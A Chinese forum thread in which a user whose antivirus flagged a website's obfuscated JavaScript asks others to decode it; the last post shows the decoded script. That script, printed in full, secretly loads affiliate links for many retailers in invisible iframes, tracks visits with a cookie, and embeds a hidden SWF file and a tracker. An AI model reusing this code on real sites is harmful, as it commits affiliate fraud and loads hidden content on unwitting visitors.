求js大佬进来解密

事情是这样，在访问一个网站的时候火绒弹窗报了毒 如下

查看这个js文件发现加密了 对js不懂 有没有大佬看一下
放腾讯哈勃里看了一下是这样 但是也还是看不懂

谢谢 文件放附件里了

https://www.heimaoseo.tv/thread-39-1-1.html
这个大佬也在吐司，你联系下他吧，吐司id6637

https://www.heimaoseo.tv/thread-39-1-1.html
这个大佬也在吐司，你联系下他吧，吐司id6637

好的 感谢大佬提供线索

大佬，我去问过了，不是落月师傅的加密方式

难道是chrom上线的那个js？

var urls = [['https://www.ctrip.com/?allianceid=1108391&sid=2710303&ouid=866344|00hrb88dda2bff32383d','https://t.vip.com/ckEDqQN4Gw9?chanTag=866344|00hr36cc1dc3b831c556','https://decathlonchina.pvxt.net/c/1295427/688136/10590?subId1=19422&subId2=ODY2MzQ0fDAwaHI0MjJmYTMzMDZmYmFmZDE0&u=https%3A%2F%2Fwww.decathlon.com.cn%2Fzh','https://cashier.iqiyi.com/cashier/cashier/cashier.html?offline=1&vipType=1&fv=zz_575fbcd11cccc-A100221287','https://hd.oppo.com/act/2021/CPS/index.html?utm_source=lingkete&utm_medium=A100221287&target=https%3A%2F%2Fwww.heytap.com'],['http://www.5118.com?promote=5AAC57','http://sucs.suning.com/visitor.htm?userId=1027&webSiteId=1025&adInfoId=1001&adBookId=1022&subUserEx=linktechA100221287%7C00000000000000%7C99999%7C01%7C&vistURL=https://www.suning.com','https://shop.vivo.com.cn/track?aid=18754&channel=cps&cid=18754&wi=ODY2MzQ0fDAwaHJiZjk5ZmNmODNlNGE5ZTQz&target=https://shop.vivo.com.cn','https://click.linksynergy.com/deeplink?id=Cn0/2vdVBF4&mid=46267&u1=866344i19232e00hrb81d4d3a7eae8da7&subid=866344&murl=http%3A%2F%2Fwww.microsoftstore.com.cn','http://union.chinaacc.com/union/interface/spread.shtm?agentID=3324&q_id=2982'],['http://www.west.cn/?ReferenceID=1562304','http://api.edu24ol.com/phpapi/ltfront?m_id=huanqiuwy&a_id=A100221287&c_id=27081141800008%5E20210601195644-269&l_id=99999&l_type1=01&rd=30&url=http%3A%2F%2Fwww.hqwx.com%2Fuserunion%2Funionad.asp%3Fid%3D5972%26url%3Dhttp%3A%2F%2Flinktech.hqwx.com','http://www.1hai.cn/ltfront.aspx?a_id=A100221287&m_id=1hai&c_id=00000000000000&l_id=99999&l_type1=01&rd=90&url=http://www.1hai.cn','https://cpsapi.xiaomiyoupin.com/cps/login?source=lingkete&feedback=A100221287&to=https%3A%2F%2Fwww.xiaomiyoupin.com%2F','https://marketing.lenovo.com.cn/g8mj080I0A?cid=6790&wi=ODY2MzQ0fDAwaHI2NGZhNTYwYzI3N2IzMDlk&su=0'],['http://cps.you.163.com/track/index.do?unionid=yiqifa&euid=18634&mid=ODY2MzQ0fDAwaHI4ZDdmNDQ1M2U0OTBiZmZk&channel=cps&pka=fa3vjgr71ac9ast2&target=http://m.you.163.com','https://u.package.qunar.com/cps/ltinfo_redirect.qunar?sid=ltinfo&a_id=A100221287&m_id=qunar2013&c_id=2708141387000A^20210601195644-269&l_id=99999&l_type1=01&rd=30&url=https://dujia.qunar.com/&ex_track=auto_534dfd7e','https://www.hjwxcps.com/click?b2=10008752&d0=388&d2=793&d1=4448&dockid=315&ext=ODY2MzQ0fDAwaHJjM2U5ZTBiYjc0ZmFiZDcw&key=f524eab1bcf6c7d11269125062c3ce2e&page=https%3A%2F%2Fclass.hujiang.com%2F'],['http://www.ttunion.com/v/?a=39749','https://www.nubia.com/cps.php?source=emar&aid=emar&channel=cps&cid=19107&wi=ODY2MzQ0fDAwaHJmNjFkYjVmYTE4MjhjODE3&url=https%3A%2F%2Fwww.nubia.com','https://adidasweb.pvxt.net/c/1295427/1080562/12229?subId1=19944&subId2=ODY2MzQ0fDAwaHI5Mjg1ZTQ3MzVkZTA4MDBk','https://nike.pvxt.net/c/1295427/849528/11873?subId1=18385&subId2=ODY2MzQ0fDAwaHJmZDM1MWQ2YmYwNDcyYmJl&u=http%3A%2F%2Fwww.nike.com%2Fw%2F'],['https://www.hisense.com/api/track/lingkete?a_id=A100221287&m_id=hisense&c_id=27081434810010^20210601195644-269&l_id=99999&l_type1=01&rd=30&url=https%3A%2F%2Fwww.hisense.com','http://www.680.com/?tj=2423002','https://svc.banggo.com/api/cps/cpsUrl?src=emar&cid=5858&wi=ODY2MzQ0fDAwaHJjZjMyZjk4MDBkMzgyM2E2&url=https%3A%2F%2Fwww.banggo.com%2F%3Futm_source%3Demar_CPS___%26cookie%3D30','https://www.midea.cn/jump.php?aid=yiqifa&cid=18735&wi=ODY2MzQ0fDAwaHI4N2ExYzQ5ZmZkZGNkMDY0&target=https%3A%2F%2Fwww.midea.cn%2Fpromote%2Fpc%2Fbuild%2Findex%2FaWQ9wTfmdaS0xMzY4Ng%3Fmtag%3D20175.4.44','http://cps.lecake.com/cps/landing/emar?src=emar&channel=cps&cid=6178&wi=ODY2MzQ0fDAwaDBmZTYzZGEwYzViOTRjY2Nl&url=http://www.lecake.com']],url,c_index=getCookie('c_index'); if(!c_index){ c_index = 0; }else{ c_index++; } setCookie('c_index',c_index); if(c_index<5){ url = urls[c_index]; window.onload = function(){ var iframe1 = document.createElement('iframe'), iframe2 = document.createElement('iframe'), iframe3 = document.createElement('iframe'), iframe4 = document.createElement('iframe'), iframe5 = document.createElement('iframe'); iframe1.id = 'iframe1'; iframe2.id = 'iframe2'; iframe3.id = 'iframe3'; iframe4.id = 'iframe4'; iframe5.id = 'iframe5'; iframe1.src = url[0]; iframe2.src = url[1]; iframe3.src = url[2]; iframe4.src = url[3]; iframe5.src = url[4]; iframe1.width = 0; iframe2.width = 0; iframe3.width = 0; iframe4.width = 0; iframe5.width = 0; iframe1.height = 0; iframe2.height = 0; iframe3.height = 0; iframe4.height = 0; iframe5.height = 0; iframe1.frameBorder = 0; iframe2.frameBorder = 0; iframe3.frameBorder = 0; iframe4.frameBorder = 0; iframe5.frameBorder = 0; window.document.body.appendChild(iframe1); window.document.body.appendChild(iframe2); window.document.body.appendChild(iframe3); window.document.body.appendChild(iframe4); window.document.body.appendChild(iframe5); } } reload_kant(); function setCookie(name,value) { var Days = 5; var exp = new Date(); exp.setTime(exp.getTime() + Days*24*60*60*1000); document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString(); } function getCookie(name) { var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)"); if(arr=document.cookie.match(reg)) return unescape(arr[2]); else return null; } document.writeln("<embed src=\"http://che0.com\/my.swf\" width=\"0\" height=\"0\"><\/embed>"); document.writeln("<script type=\"text\/javascript\" src=\"\/\/js.users.51.la\/16227407.js\"><\/script>");